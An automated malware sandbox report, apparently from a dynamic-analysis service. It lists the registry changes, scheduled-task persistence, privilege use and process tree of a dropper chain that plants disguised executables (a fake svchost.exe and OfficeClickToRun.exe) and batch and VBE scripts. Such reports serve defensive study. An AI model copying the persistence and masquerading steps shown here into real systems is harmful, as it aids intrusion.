Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1725540357"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 05 Sep 2024 12:45:58 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={22081339-832F-42C8-B9A5-FE07FBD98CBD}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies registry class 3 IoCs

Processes:

svchost.exeChainComServermonitor.exesvchost64.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	ChainComServermonitor.exe
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	svchost64.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

Processes:

reg.exe

pid	Process
3660	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1556	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	Process
4560	schtasks.exe
1060	schtasks.exe
2776	schtasks.exe
2952	schtasks.exe
3196	schtasks.exe
2508	schtasks.exe
2824	schtasks.exe
3532	schtasks.exe
4236	schtasks.exe
2680	schtasks.exe
4568	schtasks.exe
4828	schtasks.exe
2632	schtasks.exe
4628	schtasks.exe
4780	schtasks.exe
4984	schtasks.exe
4636	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exemain.exeChainComServermonitor.exe

pid	Process
3888	powershell.exe
3888	powershell.exe
1652	powershell.exe
1652	powershell.exe
3052	powershell.exe
3052	powershell.exe
3888	powershell.exe
3888	powershell.exe
3584	powershell.exe
3584	powershell.exe
1652	powershell.exe
1652	powershell.exe
3052	powershell.exe
3584	powershell.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
1568	main.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe
2296	ChainComServermonitor.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exetasklist.exepowershell.exetasklist.exeWMIC.exetasklist.exemain.exepowershell.exepowershell.exeChainComServermonitor.exepowershell.exepowershell.exeWMIC.exe

description	pid	Process
Token: SeDebugPrivilege	3888	powershell.exe
Token: SeDebugPrivilege	4912	tasklist.exe
Token: SeDebugPrivilege	1652	powershell.exe
Token: SeDebugPrivilege	4676	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3484	WMIC.exe
Token: SeSecurityPrivilege	3484	WMIC.exe
Token: SeTakeOwnershipPrivilege	3484	WMIC.exe
Token: SeLoadDriverPrivilege	3484	WMIC.exe
Token: SeSystemProfilePrivilege	3484	WMIC.exe
Token: SeSystemtimePrivilege	3484	WMIC.exe
Token: SeProfSingleProcessPrivilege	3484	WMIC.exe
Token: SeIncBasePriorityPrivilege	3484	WMIC.exe
Token: SeCreatePagefilePrivilege	3484	WMIC.exe
Token: SeBackupPrivilege	3484	WMIC.exe
Token: SeRestorePrivilege	3484	WMIC.exe
Token: SeShutdownPrivilege	3484	WMIC.exe
Token: SeDebugPrivilege	3484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3484	WMIC.exe
Token: SeRemoteShutdownPrivilege	3484	WMIC.exe
Token: SeUndockPrivilege	3484	WMIC.exe
Token: SeManageVolumePrivilege	3484	WMIC.exe
Token: 33	3484	WMIC.exe
Token: 34	3484	WMIC.exe
Token: 35	3484	WMIC.exe
Token: 36	3484	WMIC.exe
Token: SeDebugPrivilege	1720	tasklist.exe
Token: SeDebugPrivilege	1568	main.exe
Token: SeDebugPrivilege	3052	powershell.exe
Token: SeDebugPrivilege	3584	powershell.exe
Token: SeIncreaseQuotaPrivilege	3484	WMIC.exe
Token: SeSecurityPrivilege	3484	WMIC.exe
Token: SeTakeOwnershipPrivilege	3484	WMIC.exe
Token: SeLoadDriverPrivilege	3484	WMIC.exe
Token: SeSystemProfilePrivilege	3484	WMIC.exe
Token: SeSystemtimePrivilege	3484	WMIC.exe
Token: SeProfSingleProcessPrivilege	3484	WMIC.exe
Token: SeIncBasePriorityPrivilege	3484	WMIC.exe
Token: SeCreatePagefilePrivilege	3484	WMIC.exe
Token: SeBackupPrivilege	3484	WMIC.exe
Token: SeRestorePrivilege	3484	WMIC.exe
Token: SeShutdownPrivilege	3484	WMIC.exe
Token: SeDebugPrivilege	3484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3484	WMIC.exe
Token: SeRemoteShutdownPrivilege	3484	WMIC.exe
Token: SeUndockPrivilege	3484	WMIC.exe
Token: SeManageVolumePrivilege	3484	WMIC.exe
Token: 33	3484	WMIC.exe
Token: 34	3484	WMIC.exe
Token: 35	3484	WMIC.exe
Token: 36	3484	WMIC.exe
Token: SeDebugPrivilege	2296	ChainComServermonitor.exe
Token: SeDebugPrivilege	4432	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4352	WMIC.exe
Token: SeSecurityPrivilege	4352	WMIC.exe
Token: SeTakeOwnershipPrivilege	4352	WMIC.exe
Token: SeLoadDriverPrivilege	4352	WMIC.exe
Token: SeSystemProfilePrivilege	4352	WMIC.exe
Token: SeSystemtimePrivilege	4352	WMIC.exe
Token: SeProfSingleProcessPrivilege	4352	WMIC.exe
Token: SeIncBasePriorityPrivilege	4352	WMIC.exe
Token: SeCreatePagefilePrivilege	4352	WMIC.exe
Token: SeBackupPrivilege	4352	WMIC.exe
Token: SeRestorePrivilege	4352	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Update.exeConhost.exe

pid	Process
3592	Update.exe
1992	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid	Process
3424	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.execmd.exeBuild.exehacn.exebased.exehacn.execmd.exebased.execmd.execmd.execmd.execmd.exes.execmd.execmd.execmd.execmd.exe

description	pid	Process	procid_target
PID 4112 wrote to memory of 4240	4112	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe	85
PID 4112 wrote to memory of 4240	4112	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe	85
PID 4240 wrote to memory of 2540	4240	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe	87
PID 4240 wrote to memory of 2540	4240	06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe	87
PID 2540 wrote to memory of 1596	2540	cmd.exe	89
PID 2540 wrote to memory of 1596	2540	cmd.exe	89
PID 2540 wrote to memory of 1596	2540	cmd.exe	89
PID 1596 wrote to memory of 2324	1596	Build.exe	90
PID 1596 wrote to memory of 2324	1596	Build.exe	90
PID 1596 wrote to memory of 2476	1596	Build.exe	92
PID 1596 wrote to memory of 2476	1596	Build.exe	92
PID 2324 wrote to memory of 4828	2324	hacn.exe	93
PID 2324 wrote to memory of 4828	2324	hacn.exe	93
PID 2476 wrote to memory of 4932	2476	based.exe	94
PID 2476 wrote to memory of 4932	2476	based.exe	94
PID 4828 wrote to memory of 1964	4828	hacn.exe	95
PID 4828 wrote to memory of 1964	4828	hacn.exe	95
PID 1964 wrote to memory of 5088	1964	cmd.exe	144
PID 1964 wrote to memory of 5088	1964	cmd.exe	144
PID 1964 wrote to memory of 5088	1964	cmd.exe	144
PID 4932 wrote to memory of 1788	4932	based.exe	98
PID 4932 wrote to memory of 1788	4932	based.exe	98
PID 4932 wrote to memory of 2736	4932	based.exe	99
PID 4932 wrote to memory of 2736	4932	based.exe	99
PID 4932 wrote to memory of 4660	4932	based.exe	104
PID 4932 wrote to memory of 4660	4932	based.exe	104
PID 4932 wrote to memory of 4744	4932	based.exe	105
PID 4932 wrote to memory of 4744	4932	based.exe	105
PID 2736 wrote to memory of 3888	2736	cmd.exe	110
PID 2736 wrote to memory of 3888	2736	cmd.exe	110
PID 1788 wrote to memory of 1652	1788	cmd.exe	111
PID 1788 wrote to memory of 1652	1788	cmd.exe	111
PID 4744 wrote to memory of 4912	4744	cmd.exe	108
PID 4744 wrote to memory of 4912	4744	cmd.exe	108
PID 4660 wrote to memory of 4676	4660	cmd.exe	109
PID 4660 wrote to memory of 4676	4660	cmd.exe	109
PID 4932 wrote to memory of 1552	4932	based.exe	112
PID 4932 wrote to memory of 1552	4932	based.exe	112
PID 4932 wrote to memory of 2552	4932	based.exe	113
PID 4932 wrote to memory of 2552	4932	based.exe	113
PID 4932 wrote to memory of 4680	4932	based.exe	115
PID 4932 wrote to memory of 4680	4932	based.exe	115
PID 4932 wrote to memory of 4368	4932	based.exe	116
PID 4932 wrote to memory of 4368	4932	based.exe	116
PID 4932 wrote to memory of 3604	4932	based.exe	119
PID 4932 wrote to memory of 3604	4932	based.exe	119
PID 4932 wrote to memory of 4304	4932	based.exe	122
PID 4932 wrote to memory of 4304	4932	based.exe	122
PID 4932 wrote to memory of 4576	4932	based.exe	123
PID 4932 wrote to memory of 4576	4932	based.exe	123
PID 5088 wrote to memory of 4956	5088	s.exe	126
PID 5088 wrote to memory of 4956	5088	s.exe	126
PID 5088 wrote to memory of 4956	5088	s.exe	126
PID 5088 wrote to memory of 1568	5088	s.exe	128
PID 5088 wrote to memory of 1568	5088	s.exe	128
PID 2552 wrote to memory of 3052	2552	cmd.exe	129
PID 2552 wrote to memory of 3052	2552	cmd.exe	129
PID 1552 wrote to memory of 3484	1552	cmd.exe	130
PID 1552 wrote to memory of 3484	1552	cmd.exe	130
PID 5088 wrote to memory of 1844	5088	s.exe	131
PID 5088 wrote to memory of 1844	5088	s.exe	131
PID 4576 wrote to memory of 3584	4576	cmd.exe	132
PID 4576 wrote to memory of 3584	4576	cmd.exe	132
PID 4304 wrote to memory of 4244	4304	cmd.exe	133

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:384

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:428

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1124

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1188
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2792
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1584

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1808

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2208

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2500

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2656

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2688

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3424
- C:\Users\Admin\AppData\Local\Temp\06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe
  "C:\Users\Admin\AppData\Local\Temp\06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4112
- - C:\Users\Admin\AppData\Local\Temp\06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe
    "C:\Users\Admin\AppData\Local\Temp\06d1a9fd3099cfb0cc829db930ab25f75a532e5e670e1704844cf7b1000d6314.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI41122\Build.exe -pbeznogym
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2540
    - - C:\Users\Admin\AppData\Local\Temp\_MEI41122\Build.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI41122\Build.exe -pbeznogym
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1596
      - C:\ProgramData\Microsoft\hacn.exe
        
        "C:\ProgramData\Microsoft\hacn.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2324
        
        C:\ProgramData\Microsoft\hacn.exe
        
        "C:\ProgramData\Microsoft\hacn.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4828
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI23242\s.exe -pbeznogym
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1964
        
        C:\Users\Admin\AppData\Local\Temp\_MEI23242\s.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI23242\s.exe -pbeznogym
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5088
        
        C:\ProgramData\svchost.exe
        
        "C:\ProgramData\svchost.exe"
        10⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4956
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\pFG3Duil1NAbFHoInFFIi7JfPHXMZXRvb98S0ewJA0VkW.vbe"
        11⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4636
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\oGgyulsi03j6EO3sjCC.bat" "
        12⤵
        System Location Discovery: System Language Discovery
        
        PID:4444
        
        C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor\ChainComServermonitor.exe
        
        "C:\Users\Admin\AppData\Local\Temp\msAgentSavesmonitor/ChainComServermonitor.exe"
        13⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Drops file in Windows directory
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cfzu0ggq\cfzu0ggq.cmdline"
        14⤵
        Drops file in System32 directory
        
        PID:2176
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE6D6.tmp" "c:\Windows\System32\CSC300413D64AA74628AFAAB36A7F70A3C.TMP"
        15⤵
        
        PID:3928
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\0LHuDcRRUZ.bat"
        14⤵
        
        PID:232
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        15⤵
        
        PID:3020
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        15⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1556
        
        C:\Program Files (x86)\Mozilla Maintenance Service\logs\OfficeClickToRun.exe
        
